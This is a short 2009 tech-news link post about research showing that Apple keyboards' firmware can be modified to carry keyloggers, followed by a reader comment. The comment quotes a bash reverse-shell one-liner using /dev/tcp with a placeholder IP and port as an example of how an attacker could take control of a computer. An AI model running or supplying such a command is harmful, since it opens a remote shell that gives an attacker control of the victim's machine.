Linked by Thom Holwerda on Sat 1st Aug 2009 18:22 UTC
Apple Almost everything has a processor and/or memory chips these days, including keyboards. Apple's keyboards are no exception; they have 8Kb of flash memory, and 256 bytes of RAM. K. Chen has found a way to very easily install keyloggers and other possibly malicious code right inside these Apple keyboards (more here). Proof of concept code is here as well.
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stanbr
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2009-05-22

I was thinking the same.. then I read the full article here: http://www.digitalsociety.org/apple-keyboards-hacked-and-possessed/

So, in fact, its REALLY EASY to send these to a remote server WITHOUT using another malware... ;)

From the article:
"exec /bin/sh 0</dev/tcp/IP/PORT 1>&0 2>&0

This would instantly connect the computer to the attacker’s computer and instantly give the attacker full control of the computer at which point additional rootkits could be installed."

Cya.

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